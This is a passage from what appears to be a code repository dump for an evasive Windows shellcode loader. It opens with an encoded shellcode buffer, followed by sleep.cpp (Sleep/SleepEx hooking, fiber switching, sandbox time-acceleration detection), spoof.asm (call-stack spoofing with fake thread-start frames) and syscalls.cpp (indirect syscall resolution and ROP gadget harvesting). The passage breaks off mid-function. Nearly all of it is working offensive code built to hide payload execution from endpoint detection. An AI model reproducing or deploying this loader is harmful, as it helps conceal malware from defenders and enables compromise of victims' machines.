b\"\\x11\\xfd\\x25\\xaf\\x34\\x53\\xf1\\x7a\\x6d\\x44\\xad\\x02\"\r\nbuf += b\"\\xa3\\xdf\\x09\\xbe\\x64\\x74\\xac\\x96\\x02\\x6b\\x31\\xff\"\r\nbuf += b\"\\x26\\x39\\x49\\xa6\\xa7\\x27\\x11\\xc6\\xfd\\x2d\\x29\\x25\"\r\nbuf += b\"\\xa2\\x3a\\x89\\xb2\\xf5\\x13\\x2c\\x25\\xee\\x56\\x84\\x38\"\r\nbuf += b\"\\x65\\x69\\x24\\xaf\\x32\\x5f\\x4b\\xb7\\xad\\x3d\\x6c\\x7e\"\r\nbuf += b\"\\xa3\\x46\\x81\\xeb\\x7b\\x2c\\x37\\xef\\xba\\x5f\\x99\\xf2\"\r\nbuf += b\"\\x7f\\x3d\\xee\\x42\\xc2\\x5f\\x92\\x4c\\xc5\\x2d\\x2c\\xf7\"\r\nbuf += b\"\\xb8\\x56\\x4b\\xa1\\xcc\\x3a\\x92\\x51\\x1d\\x43\\xaa\\xb3\"\r\nbuf += b\"\\x6c\\xcb\\x1a\\xc7\\x8c\\x77\\xae\\xd6\\x51\\x75\\x2c\\xf8\"\r\nbuf += b\"\\xab\\x97\\x26\\xff\\xac\\x84\\x2c\\x14\\xae\\x69\\xe6\\xb4\"\r\nbuf += b\"\\xda\\xa0\\x25\\x9f\\x2b\\x56\\xf1\\x61\\x68\\x44\\xad\\xe3\"\r\nbuf += b\"\\xd3\\xd7\\x81\\xe3\\x64\\x25\\x2c\\x14\\xd8\\x48\\xb9\\x14\"\r\nbuf += b\"\\xda\\xa0\\x84\\x3d\\xe2\\x1e\\xc0\\xe9\\x6d\\xfc\\xac\\xef\"\r\nbuf += b\"\\x5a\\xa5\\xc1\\xb3\\x25\\x38\\x5c\\x67\\xa3\\x4f\\x81\\xe2\"\r\nbuf += b\"\\x4f\\x76\\x2c\\xff\\xa3\\xa4\\x97\\x3a\\xba\\xb3\\x92\\x7b\"\r\nbuf += b\"\\x09\\x67\\x9b\\xfb\\xac\\xb4\\x25\\x9f\\x30\\x57\\x49\\x6b\"\r\nbuf += b\"\\x68\\x44\\xa4\\xfc\\x8a\\x1e\\xf2\\x73\\xa1\\x27\\x3f\\xef\"\r\nbuf += b\"\\x58\\xf5\\x95\\x9d\\x1e\\x8a\\xb8\\xe6\\x6b\\xd8\\x88\\x30\"\r\nbuf += b\"\\xe6\\x25\\x07\\xa4\\xbd\\x56\\x49\\x42\\x9f\\x6a\\x6d\\xae\"\r\nbuf += b\"\\xe2\\x74\\xc0\\xdb\\xa5\\x46\\x6d\\xae\\xab\\x97\\x20\\xf2\"\r\nbuf += b\"\\x9c\\x71\\x6d\\xae\\xe2\\x5f\\x7a\\xc6\\x63\\xeb\\xeb\\x51\"\r\nbuf += b\"\\x37\\x56\\x49\\x42\\x6d\\xfc\\xb7\\xe7\\x25\\xde\\x3f\\x4c\"\r\nbuf += b\"\\xda\\x8a\\x20\\x9f\\x2b\\x4c\\x92\\xf2\\x9f\\x58\\x6b\\xb6\"\r\nbuf += b\"\\x99\\xe1\\x15\\x36\\xe5\\x7a\\xe8\\x33\\xe3\\x1e\\xc0\\xfb\"\r\nbuf += b\"\\xda\\xba\\x62\\x2a\\x6e\\x1f\\xc0\\xb3\\xce\\xc6\\x84\\x4a\"\r\nbuf += b\"\\xe3\\x1e\\xc0\\x5b\\xa7\\x8a\\x92\\x51\\xcd\\x4c\\xa6\\xff\"\r\nbuf += b\"\\x7c\\x75\\x8a\\xd8\\x75\\x21\\xa0\\x81\\x51\\x8b\\xc6\\x19\"\r\nbuf += b\"\\x2e\\xdf\\x62\\xef\\xea\\x47\\x6f\\xe0\\xdf\\x2f\\xd4\\x28\"\r\nbuf += b\"\\x4b\\x06\\x4e\\x57\\x83\\x13\\x4b\\x94\\x03\\xcf\\x3c\\xb4\"\r\nbuf += b\"\\xeb\\x56\\xc4\\x07\\xab\\xc7\\xe1\\x38\\xc8\\x9c\\x92\\xee\"\r\nbuf += b\"\\xd7\\xe9\\xfa\\x29\\xb5\\x87\\x1f\\x83\\x51\\x98\\x4a\\x22\"\r\nbuf += b\"\\x90\\x2d\\xdd\\x7a\\xf1\\x7a\\xe9\\x48\\xd1\\x43\\xb2\\x34\"\r\nbuf += b\"\\x1f\\xcc\\xb4\\xae\\xb7\\x6d\\xa5\\xc1\\x08\\x34\\x0a\\xcb\"\r\nbuf += b\"\\x8c\\x6a\\xfa\\x93\\x68\\x1a\\x17\\xc7\\x8e\\x72\\xa1\\x9c\"\r\nbuf += b\"\\x10\\x5b\\x5d\\x8e\\xca\\x7d\\xaf\\xde\\x55\\x14\\x19\\xc7\"\r\nbuf += b\"\\x80\\x72\\xa5\\x88\\x05\\x38\\x3e\\xe7\\xa7\\x3e\\xf9\\x9d\"\r\nbuf += b\"\\x15\\x4e\\x4d\\xf9\\x8b\\x70\\xa4\\xdc\\x52\\x06\\x4d\\xe0\"\r\nbuf += b\"\\xb6\\x3e\\xf6\\x9d\\x14\\x4e\\x4d\\xf9\\x8b\\x70\\xf6\\x87\"\r\nbuf += b\"\\x1e\\x55\\x15\\x98\\xd6\\x25\\xe0\\xe7\\x57\\x1c\\x09\\xcb\"\r\nbuf += b\"\\x8c\\x6a\\xef\\x86\\x0b\\x45\\x56\\x8e\\xa3\\x68\\xa1\\xdd\"\r\nbuf += b\"\\x51\\x55\\x2f\\xdc\\x8d\\x69\\xb3\\xd6\\x57\\x5c\\x60\\xa4\"\r\nbuf += b\"\\xe2\\x70\\x7c\\x0a\\x34\\x7d\\x59\\x8e\\xbe\\xaa\\xb1\\x91\"\r\nbuf += b\"\\xb6\\xde\\x02\\x12\\x30\\xb9\\x6d\\x74\\xf6\\x65\\x1d\\xe0\"\r\nbuf += b\"\\x77\\x65\\x56\\xe2\\x9d\\x8d\\x81\\xb6\\x32\\xf6\\x0c\\x2b\"\r\nbuf += b\"\\x1f\\x47\\x26\\x7f\\xbc\\x79\\x2f\\x1d\\x2a\\x48\\x0c\\xf2\"\r\nbuf += b\"\\x3e\\xdf\\x49\\x54\\x04\\xd6\\xad\\x6c\\x7d\\x93\\x39\\x55\"\r\nbuf += b\"\\xb1\\x0b\\xda\\x58\\x58\\x48\\x50\\xa8\\x4d\\xea\\xf6\\xfe\"\r\nbuf += b\"\\x4f\\x0a\\x85\\x7c\\x24\\xde\\xb3\\x6d\\x73\\x13\\xa0\\xca\"\r\nbuf += b\"\\x27\\x32\\x4d\\x49\\x83\\xf5\\x87\\x27\\x81\\x70\\xbb\\x40\"\r\nbuf += b\"\\x96\\x14\\x3e\\xcc\\xab\\xbb\\xf0\\xee\\xc6\\x47\\x05\\x4a\"\r\nbuf += b\"\\xa7\\xf0\\x3f\\xa8\\x12\\x1d\\xbb\\x31\\x50\\xca\\x4c\\x8d\"\r\nbuf += b\"\\xc3\\xd5\\x58\\x3a\\x9a\\x1a\\xee\\x3e\\xd1\\xf4\\x27\\x10\"\r\nbuf += b\"\\x41\\x6e\\x2b\\x4f\\xfe\\x2e\\x32\\xac\\x67\\xfe\\x2c\\x6c\"\r\nbuf += b\"\\x07\\xa6\\x6d\\x36\\xcc\\x84\\x63\\xaf\\x81\\x62\\x04\\xc9\"\r\nbuf += b\"\\xcf\\x60\\x8d\\x7d\\xdf\\x0c\\x7c\\x48\\x75\\x04\\x01\\xfa\"\r\nbuf += b\"\\x64\\x40\\x56\\x4f\\x52\\xf1\\x4b\\x61\\xf7\\xc6\\xdd\\x47\"\r\nbuf += b\"\\x13\\xcb\\x25\\xf8\\x43\\x96\\xe7\\xc4\\x65\\xf3\\x80\\x01\"\r\nbuf += b\"\\x5a\\xb4\\x6f\\xb9\\x9b\\x11\\xb6\\xae\\xa3\\xa0\\x30\\x06\"\r\nbuf += b\"\\x87\\x23\\x92\\x7b\\xaa\\x2f\\x09\\x09\\x25\\x75\\x2d\\xae\"\r\nbuf += b\"\\xa3\\xa6\\xc0\\xa3\\x25\\x75\\x2c\\x17\\xa2\\x1e\\xc0\\xb3\"\r\nbuf += b\"\\x64\\xcf\\x35\\x0a\\xb1\\xfb\\x3f\\x66\\x6d\\xe6\\x3e\\xfd\"\r\nbuf += b\"\\xaa\\x97\\x27\\xfb\\xac\\x84\\x25\\x27\\x38\\x5f\\x78\\xb3\"\r\nbuf += b\"\\x05\\x75\\x6d\\xe7\\x6b\\xe7\\x81\\x09\\x37\\xe3\\xe4\\x4c\"\r\nbuf += b\"\\x1d\\xcb\\x88\\x30\\xe1\\x55\\xe8\\x6e\\x96\\xa8\\xa6\\x38\"\r\nbuf += b\"\\x22\\x3d\\x6c\\x6d\\x67\\xde\\xb5\\x64\\x7d\\x2d\\x35\\xe6\"\r\nbuf += b\"\\xe7\\x1e\\xc0\\xb3\\x25\\x25\\xae\\x46\\x9d\\xe3\\x3f\\x4c\"\r\nbuf += b\"\\x14\\x45\\x43\\x9a\\xd0\\x30\\xf4\\x81\\x0b\\x40\\x6d\\x94\"\r\nbuf += b\"\\x3c\\x76\\x71\\xb3\\x25\\x75\\x6d\""
  },
  {
    "path": "sleep.cpp",
    "content": "#include <includes.h>\r\n\r\n// Used to store original bytes from Sleep/SleepEx\r\nuint8_t originalSleepBytes[12] = { 0 };\r\nuint8_t originalSleepExBytes[12] = { 0 };\r\n\r\n// Create some simple compile-time polymorphism\r\nclass compileme {\r\nprivate:\r\n    static constexpr unsigned int fnv1a_hash(const char* str, unsigned int hash = 2166136261U) { return (*str ? fnv1a_hash(str + 1, (hash ^ *str) * 16777619U) : hash); }\r\n    static constexpr unsigned int mix_entropy(unsigned int base) { return (base ^ 0x5A5A5A5A) * 2654435761U; }\r\n    static constexpr unsigned int compileTimeRNG() { return mix_entropy(fnv1a_hash(__TIME__) ^ fnv1a_hash(__DATE__) ^ fnv1a_hash(__FILE__) ^ fnv1a_hash(__TIMESTAMP__) ^ (__COUNTER__ * 37)); }\r\n    const unsigned int randomValue;\r\n\r\npublic:\r\n    constexpr compileme() : randomValue(compileTimeRNG()) {} // Constructor initializes the random value at compile-time\r\n    constexpr unsigned int GetMagicNumber() const { return randomValue; }\r\n};\r\n\r\n// Generate a random sleep duration between 5-10 sec\r\nconstexpr unsigned int GenerateSleepTime() {\r\n    constexpr compileme rng;\r\n    return (rng.GetMagicNumber() % 5000) + 5000;\r\n}\r\n\r\n// Check if process sleeptime is being fastforwarded\r\nBOOL FiveHourEnergy() {\r\n    LARGE_INTEGER frequency, startTime, endTime;\r\n    DWORD tickStart, tickEnd;\r\n\r\n    constexpr DWORD sleepTimeMs = GenerateSleepTime();\r\n    constexpr double thresholdFactor = 0.7; // Assume some margin for error\r\n\r\n    // Capture initial timestamps\r\n    QueryPerformanceFrequency(&frequency);\r\n    QueryPerformanceCounter(&startTime);\r\n    tickStart = GetTickCount64();\r\n\r\n    Sleep(sleepTimeMs);\r\n\r\n    // Capture final timestamps\r\n    QueryPerformanceCounter(&endTime);\r\n    tickEnd = GetTickCount64();\r\n\r\n    // Calculate elapsed time in milliseconds\r\n    double elapsedHighResMs = (double)(endTime.QuadPart - startTime.QuadPart) * 1000.0 / frequency.QuadPart;\r\n    DWORD elapsedTickMs = tickEnd - tickStart;\r\n    \r\n    // Check if elapsed time is much shorter than expected. Returns TRUE if time was fastforwarded.\r\n    return (elapsedHighResMs < sleepTimeMs * thresholdFactor || elapsedTickMs < sleepTimeMs * thresholdFactor);\r\n}\r\n\r\n// Centralized function for modifying memory protection\r\nVOID ModifyMemoryProtection(LPVOID address, DWORD newProtect, DWORD* oldProtect) {\r\n    SIZE_T regionSize = sizeof(LPVOID);\r\n\r\n    CHAR ZwPVM[] = \"ZwProtectVirtualMemory\";\r\n    SyscallEntry NtProtectVirtualMemory = SSNLookup(ZwPVM);\r\n    \r\n    dwSSN = NtProtectVirtualMemory.SSN;\r\n    qwJMP = NtProtectVirtualMemory.Syscall;\r\n    gadget = GoGoGadget(callR12gadgets);\r\n\r\n    status = (NTSTATUS)CallR12(\r\n        (PVOID)CallMe,\r\n        5,\r\n        gadget,\r\n        NtCurrentProcess(),\r\n        &address,\r\n        &regionSize,\r\n        newProtect,\r\n        oldProtect\r\n    );\r\n\r\n    if (!NT_SUCCESS(status))\r\n        printf(\"NtProtectVirtualMemory 0x%08X\\n\", status);\r\n}\r\n\r\n// Apply a trampoline hook to a given function\r\nVOID HookFunction(PVOID FunctionToHook, PVOID RedirectionFunction, uint8_t* originalBytes) {\r\n    uint8_t trampolineHook[] = {\r\n        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov r10, <RedirectionFunction>\r\n        0x41, 0xFF, 0xE2                                             // jmp r10\r\n    };\r\n    uint64_t hookAddress = (uint64_t)RedirectionFunction;\r\n\r\n    gadget = GoGoGadget(callR12gadgets);\r\n    CallR12(\r\n        (PVOID)memcpy,\r\n        3,\r\n        gadget,\r\n        &trampolineHook[2],\r\n        &hookAddress,\r\n        sizeof(hookAddress)\r\n    );\r\n\r\n    // Store original bytes before modifying the function\r\n    gadget = GoGoGadget(callR12gadgets);\r\n    CallR12(\r\n        (PVOID)memcpy,\r\n        3,\r\n        gadget,\r\n        (PVOID)originalBytes,\r\n        FunctionToHook,\r\n        sizeof(trampolineHook)\r\n    );\r\n\r\n    DWORD oldProtect = 0;\r\n    SIZE_T regionSize = sizeof(trampolineHook);\r\n    PVOID baseAddress = FunctionToHook;\r\n\r\n    ModifyMemoryProtection(baseAddress, PAGE_READWRITE, &oldProtect);\r\n\r\n    gadget = GoGoGadget(callR12gadgets);\r\n    CallR12(\r\n        (PVOID)memcpy,\r\n        3,\r\n        gadget,\r\n        FunctionToHook,\r\n        trampolineHook,\r\n        sizeof(trampolineHook)\r\n    );\r\n\r\n    ModifyMemoryProtection(baseAddress, oldProtect, &oldProtect);\r\n\r\n    return;\r\n}\r\n\r\n// Restore original bytes to (unhook) function\r\nVOID RestoreOriginalBytes(PVOID FunctionToHook, uint8_t* originalBytes, SIZE_T size) {\r\n    DWORD oldProtect;\r\n\r\n    ModifyMemoryProtection(FunctionToHook, PAGE_READWRITE, &oldProtect);\r\n\r\n    gadget = GoGoGadget(callR12gadgets);\r\n    CallR12(\r\n        (PVOID)memcpy,\r\n        3,\r\n        gadget,\r\n        FunctionToHook,\r\n        originalBytes,\r\n        size\r\n    );\r\n\r\n    ModifyMemoryProtection(FunctionToHook, oldProtect, &oldProtect);\r\n\r\n    return;\r\n}\r\n\r\n// Sleeping without calling Sleep()\r\nVOID ImNotSleepingIPromise(DWORD dwMilliseconds) {\r\n    // Set up call stack spoof\r\n    PVOID ReturnAddress = NULL;\r\n    PRM p = { 0 };\r\n\r\n    BYTE sig[] = { 0xFF, 0x23 }; // jmp qword ptr [rbx]\r\n    std::vector<PVOID> gadgets = CollectGadgets(sig, 3, (PBYTE)hNtdll);\r\n\r\n    gadget = GoGoGadget(gadgets);\r\n    p.trampoline = gadget;\r\n    p.Gadget_ss = (PVOID)(ULONGLONG)CalculateStackSize(p.trampoline);\r\n\r\n    // windows 11 seems to have different offset values\r\n    //ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hKernel32, \"BaseThreadInitThunk\") + 0x14;\r\n    ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hKernel32, \"BaseThreadInitThunk\") + 0x17;\r\n    p.BTIT_ss = (PVOID)(ULONGLONG)CalculateStackSize(ReturnAddress);\r\n    p.BTIT_retaddr = ReturnAddress;\r\n\r\n    //ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hNtdll, \"RtlUserThreadStart\") + 0x21;\r\n    ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hNtdll, \"RtlUserThreadStart\") + 0x2c;\r\n    p.RUTS_ss = (PVOID)(ULONGLONG)CalculateStackSize(ReturnAddress);\r\n    p.RUTS_retaddr = ReturnAddress;\r\n\r\n    LARGE_INTEGER DelayInterval = { 0 };\r\n    LONGLONG Delay = NULL;\r\n    HANDLE hEvent = NULL;\r\n\r\n    dwSSN = NtCreateEvent.SSN;\r\n    qwJMP = NtCreateEvent.Syscall;\r\n    gadget = GoGoGadget(callR12gadgets);\r\n\r\n    status = (NTSTATUS)CallR12(\r\n        (PVOID)CallMe,\r\n        5,\r\n        gadget,\r\n        &hEvent,\r\n        EVENT_ALL_ACCESS,\r\n        NULL,\r\n        0,\r\n        FALSE\r\n    );\r\n\r\n    Delay = dwMilliseconds * 10000;\r\n    DelayInterval.QuadPart = -Delay;\r\n\r\n    p.ssn = (PVOID)(ULONGLONG)sysNtWaitForSingleObject.SSN;\r\n    Spoof((PVOID)hEvent, (PVOID)(ULONGLONG)FALSE, (PVOID)&DelayInterval, NULL, &p, sysNtWaitForSingleObject.Syscall, (PVOID)(ULONGLONG)0);\r\n\r\n    return;\r\n}\r\n\r\n// Hooked Sleep function\r\nVOID WINAPI hookedSleep(DWORD dwMilliseconds, ...) {\r\n\r\n    // Restore original function bytes before execution\r\n    RestoreOriginalBytes((PVOID)Sleep, originalSleepBytes, sizeof(originalSleepBytes));\r\n\r\n    // Switch to main fiber to hide execution from stack scanners\r\n    gadget = GoGoGadget(callR12gadgets);\r\n    CallR12((PVOID)SwitchToFiber, 1, gadget, mainFiber);\r\n\r\n    // Call custom sleep function\r\n    ImNotSleepingIPromise(dwMilliseconds);\r\n\r\n    // Reapply the hook after execution\r\n    HookFunction((PVOID)Sleep, (PVOID)hookedSleep, originalSleepBytes);\r\n}\r\n\r\n// Hooked SleepEx function\r\nDWORD WINAPI hookedSleepEx(DWORD dwMilliseconds, BOOL bAlertable, ...) {\r\n\r\n    // Restore original function bytes before execution\r\n    RestoreOriginalBytes((PVOID)SleepEx, originalSleepExBytes, sizeof(originalSleepExBytes));\r\n\r\n    // Switch to main fiber to hide execution from stack scanners\r\n    gadget = GoGoGadget(callR12gadgets);\r\n    CallR12((PVOID)SwitchToFiber, 1, gadget, mainFiber);\r\n\r\n    ImNotSleepingIPromise(dwMilliseconds);\r\n\r\n    // Reapply the hook after execution\r\n    HookFunction((PVOID)SleepEx, (PVOID)hookedSleepEx, originalSleepExBytes);\r\n\r\n    return 0;\r\n}\r\n\r\n// Hook Sleep and SleepEx\r\nVOID ReSleep() {\r\n    HookFunction((PVOID)Sleep, (PVOID)hookedSleep, originalSleepBytes);\r\n    HookFunction((PVOID)SleepEx, (PVOID)hookedSleepEx, originalSleepExBytes);\r\n}"
  },
  {
    "path": "spoof.asm",
    "content": ".code\r\n\r\n;   A function can be called like so\r\n;   \r\n;   Spoof(arg1, arg2, arg3, arg4, &param, function, (PVOID)0);\r\n;   \r\n;   Param is a struct containing some necessary information for the call to have fake frames added.\r\n;   The 6th argument is a pointer to the function to execute\r\n;   The 7th argument specifies the number of args to pass to the stack. It has to be at an 8 byte size.\r\n\r\nSpoof PROC\r\n    pop    rax                         ; Real return address in rax\r\n\r\n    mov    r10, rdi                    ; Store OG rdi in r10\r\n    mov    r11, rsi                    ; Store OG rsi in r11\r\n\r\n    mov    rdi, qword ptr [rsp + 32]   ; Storing struct in rdi\r\n    mov    rsi, qword ptr [rsp + 40]   ; Storing function to call\r\n\r\n    ; ---------------------------------------------------------------------\r\n    ; Storing our original registers\r\n    ; ---------------------------------------------------------------------\r\n\r\n    mov qword ptr [rdi + 24], r10       ; Storing OG rdi into param\r\n    mov qword ptr [rdi + 88], r11       ; Storing OG rsi into param\r\n    mov qword ptr [rdi + 96], r12       ; Storing OG r12 into param\r\n    mov qword ptr [rdi + 104], r13      ; Storing OG r13 into param\r\n    mov qword ptr [rdi + 112], r14      ; Storing OG r14 into param\r\n    mov qword ptr [rdi + 120], r15      ; Storing OG r15 into param\r\n\r\n    mov r12, rax                        ; OG code used r12 for ret addr\r\n\r\n    ; ---------------------------------------------------------------------\r\n    ; Prepping to move stack args\r\n    ; ---------------------------------------------------------------------\r\n\r\n    xor r11, r11                        ; r11 = # of args pushed\r\n    mov r13, qword ptr [rsp + 30h]      ; r13 = total args to push\r\n\r\n    mov r14, 200h                       ; Initial offset\r\n    add r14, 8\r\n    add r14, qword ptr [rdi + 56]       ; Add RUTS stack size\r\n    add r14, qword ptr [rdi + 48]       ; Add BTIT stack size\r\n    add r14, qword ptr [rdi + 32]       ; Add gadget frame size\r\n    sub r14, 20h                        ; Adjust for first stack arg\r\n\r\n    mov r10, rsp            \r\n    add r10, 30h                        ; Stack args base address\r\n\r\nlooping_label:\r\n    xor r15, r15            \r\n    cmp r11, r13            \r\n    je finish_label\r\n    \r\n    ; ---------------------------------------------------------------------\r\n    ; Calculate target stack position\r\n    ; ---------------------------------------------------------------------\r\n    sub r14, 8          \r\n    mov r15, rsp        \r\n    sub r15, r14        \r\n    \r\n    ; ---------------------------------------------------------------------\r\n    ; Move stack argument\r\n    ; ---------------------------------------------------------------------\r\n    add r10, 8\r\n    push qword ptr [r10]\r\n    pop qword ptr [r15]     \r\n\r\n    ; ---------------------------------------------------------------------\r\n    ; Increment counter and loop\r\n    ; ---------------------------------------------------------------------\r\n    add r11, 1\r\n    jmp looping_label\r\n    \r\nfinish_label:\r\n\r\n    ; ----------------------------------------------------------------------\r\n    ; Create working space and setup fake frames\r\n    ; ----------------------------------------------------------------------\r\n    sub    rsp, 200h\r\n    push   0\r\n\r\n    ; RtlUserThreadStart frame\r\n    sub    rsp, qword ptr [rdi + 56]\r\n    mov    r11, qword ptr [rdi + 64]\r\n    mov    qword ptr [rsp], r11\r\n\r\n    ; BaseThreadInitThunk frame\r\n    sub    rsp, qword ptr [rdi + 32]\r\n    mov    r11, qword ptr [rdi + 40]\r\n    mov    qword ptr [rsp], r11\r\n\r\n    ; Gadget frame -- `jmp QWORD PTR [rbx]`\r\n    sub    rsp, qword ptr [rdi + 48]\r\n    mov    r11, qword ptr [rdi + 80]\r\n    mov    qword ptr [rsp], r11\r\n\r\n    ; ----------------------------------------------------------------------\r\n    ; Prepare for function call and fixup\r\n    ; ----------------------------------------------------------------------\r\n    mov    r11, rsi                     ; Function to call\r\n    mov    qword ptr [rdi + 8], r12     ; Store real return address\r\n    mov    qword ptr [rdi + 16], rbx    ; Store original RBX\r\n    lea    rbx, fixup_label             ; Get fixup address\r\n    mov    qword ptr [rdi], rbx         ; Store fixup in struct\r\n    mov    rbx, rdi                     ; Param struct pointer\r\n\r\n    ; Prepare syscall (if needed)\r\n    mov    r10, rcx\r\n    mov    rax, qword ptr [rdi + 72]\r\n    \r\n    jmp    r11                          ; Jump to target function\r\n\r\nfixup_label: \r\n    mov    rcx, rbx                     ; Restore param struct\r\n\r\n    ; Cleanup stack frames\r\n    add    rsp, 200h\r\n    add    rsp, qword ptr [rbx + 48]\r\n    add    rsp, qword ptr [rbx + 32]\r\n    add    rsp, qword ptr [rbx + 56]\r\n\r\n    ; Restore original registers\r\n    mov    rbx, qword ptr [rcx + 16]\r\n    mov    rdi, qword ptr [rcx + 24]\r\n    mov    rsi, qword ptr [rcx + 88]\r\n    mov    r12, qword ptr [rcx + 96]\r\n    mov    r13, qword ptr [rcx + 104]\r\n    mov    r14, qword ptr [rcx + 112]\r\n    mov    r15, qword ptr [rcx + 120]\r\n\r\n    jmp    qword ptr [rcx + 8]          ; Jump to original return address\r\n\r\nSpoof ENDP\r\n\r\nEND\r\n"
  },
  {
    "path": "syscalls.cpp",
    "content": "#include <includes.h>\r\n\r\n// Super reliable way to find the base address of a given module\r\nPBYTE FindModuleBase(const CHAR* moduleName) {\r\n    // Retrieve the loader data from the Process Environment Block (PEB)\r\n    PPEB_LDR_DATA loaderData = NtCurrentTeb()->ProcessEnvironmentBlock->Ldr;\r\n    PLIST_ENTRY moduleListHead = (PLIST_ENTRY)&loaderData->Reserved2[1]; //Reserved2[1] == InLoadOrderModuleList\r\n    PLIST_ENTRY currentEntry = moduleListHead->Blink;\r\n\r\n    // Iterate through the loaded modules backwards\r\n    while (currentEntry != moduleListHead) {\r\n        // Get the module entry\r\n        PLDR_DATA_TABLE_ENTRY_MODIFIED moduleEntry = CONTAINING_RECORD(currentEntry, LDR_DATA_TABLE_ENTRY_MODIFIED, InLoadOrderLinks);\r\n        currentEntry = currentEntry->Blink;\r\n\r\n        // Get the base address of the module\r\n        PBYTE moduleBase = (PBYTE)moduleEntry->OriginalBase;\r\n\r\n        // Access the NT headers of the module\r\n        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;\r\n        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew);\r\n\r\n        // Check if the module has an export directory\r\n        DWORD exportDirectoryRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\r\n        if (!exportDirectoryRVA) continue; // No export table? skip\r\n\r\n        // Access the export directory\r\n        PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + exportDirectoryRVA);\r\n        if (!exportDirectory->NumberOfNames) continue; // No symbols? skip\r\n\r\n        // Extract the DLL name from the module entry\r\n        char dllName[MAX_PATH]; // Buffer to store the DLL name\r\n        snprintf(dllName, sizeof(dllName), \"%wZ\", moduleEntry->BaseDllName); // Extract BaseDllName\r\n\r\n        // Compare the decoded name with the current module name\r\n        if (strcmp(dllName, moduleName) == 0) return moduleBase; // Found the module, return its base address\r\n    }\r\n\r\n    // module not found\r\n    return nullptr;\r\n}\r\n\r\n// Resolve System Service Number (SSN), Address, and Offset for a System Call Name\r\nSyscallEntry SSNLookup(PCHAR syscall) {\r\n    SyscallEntry entry = { 0 };\r\n\r\n    // Load the Export Address Table\r\n    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(hNtdll + ((PIMAGE_DOS_HEADER)hNtdll)->e_lfanew);\r\n    DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\r\n    if (!exportDirRVA) return { 0 }; // No export table\r\n\r\n    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(hNtdll + exportDirRVA);\r\n\r\n    PDWORD pFunctions = (PDWORD)(hNtdll + pExportDir->AddressOfFunctions);\r\n    PDWORD pNames = (PDWORD)(hNtdll + pExportDir->AddressOfNames);\r\n    PWORD pNameOrdinals = (PWORD)(hNtdll + pExportDir->AddressOfNameOrdinals);\r\n\r\n    // Load the Exception Directory\r\n    DWORD exceptTableRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;\r\n    if (!exceptTableRVA) return { 0 }; // No exception directory\r\n\r\n    PIMAGE_RUNTIME_FUNCTION_ENTRY pRuntimeFuncTable = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(hNtdll + exceptTableRVA);\r\n\r\n    INT64 ssn = 0;\r\n    PBYTE address = 0;\r\n\r\n    // Search export address table\r\n    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {\r\n        PCHAR pFunctionName = (PCHAR)(hNtdll + pNames[i]);\r\n            \r\n        // Search runtime function table\r\n        for (INT64 i = 0; pRuntimeFuncTable[i].BeginAddress; i++) {\r\n            for (INT64 j = 0; j < pExportDir->NumberOfFunctions; j++) {\r\n                if (pFunctions[pNameOrdinals[j]] == pRuntimeFuncTable[i].BeginAddress) {\r\n                    PCHAR api = (PCHAR)(hNtdll + pNames[j]);\r\n                    PCHAR s1 = api;\r\n                    PCHAR s2 = syscall;\r\n\r\n                    // Compare the syscall names\r\n                    while (*s1 && (*s1 == *s2)) s1++, s2++;\r\n                    INT64 cmp = (INT64)*(PBYTE)s1 - *(PBYTE)s2;\r\n                    if (!cmp) {\r\n                        address = (hNtdll + pRuntimeFuncTable[i].BeginAddress);\r\n                        \r\n                        // Locate `syscall; ret` sequence\r\n                        for (INT64 offset = 0; offset < 0x100; offset++) {// Scan up to 256 bytes\r\n                            if (address[offset] == 0x0F && address[offset + 1] == 0x05 && address[offset + 2] == 0xC3) {\r\n\r\n                                // Populate the SyscallEntry struct\r\n                                entry.SSN = ssn;\r\n                                entry.Address = address;\r\n                                entry.Syscall = (PVOID)(address + offset);\r\n                                return entry;\r\n                            }\r\n                        }\r\n                    }\r\n                    // If this is a syscall, increase the SSN value\r\n                    if (*(USHORT*)api == 'wZ') ssn++;\r\n                }\r\n            }\r\n        }\r\n    }\r\n    return { 0 }; // Didn't find it\r\n}\r\n\r\n// Collect all instances of a given ROP gadget in a given module\r\nstd::vector<PVOID> CollectGadgets(const PBYTE gadget, SIZE_T gadgetSize, PBYTE hModule) {\r\n    std::vector<PVOID> gadgets;\r\n    if (!hModule || !gadget || gadgetSize == 0) return gadgets; // Validate input\r\n\r\n    PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hModule);\r\n    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return gadgets; // Validate DOS header\r\n\r\n    PIMAGE_NT_HEADERS pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<BYTE*>(hModule) + pDosHeader->e_lfanew);\r\n    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) return gadgets; // Validate NT headers\r\n\r\n    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);\r\n    UINT_PTR moduleBase = reinterpret_cast<UINT_PTR>(hModule);\r\n\r\n    // Loop through each section in the module\r\n    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) {\r\n        // Check if the section is executable code\r\n        if ((pSectionHeader->Characteristics & IMAGE_SCN_CNT_CODE) &&\r\n            (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE)) 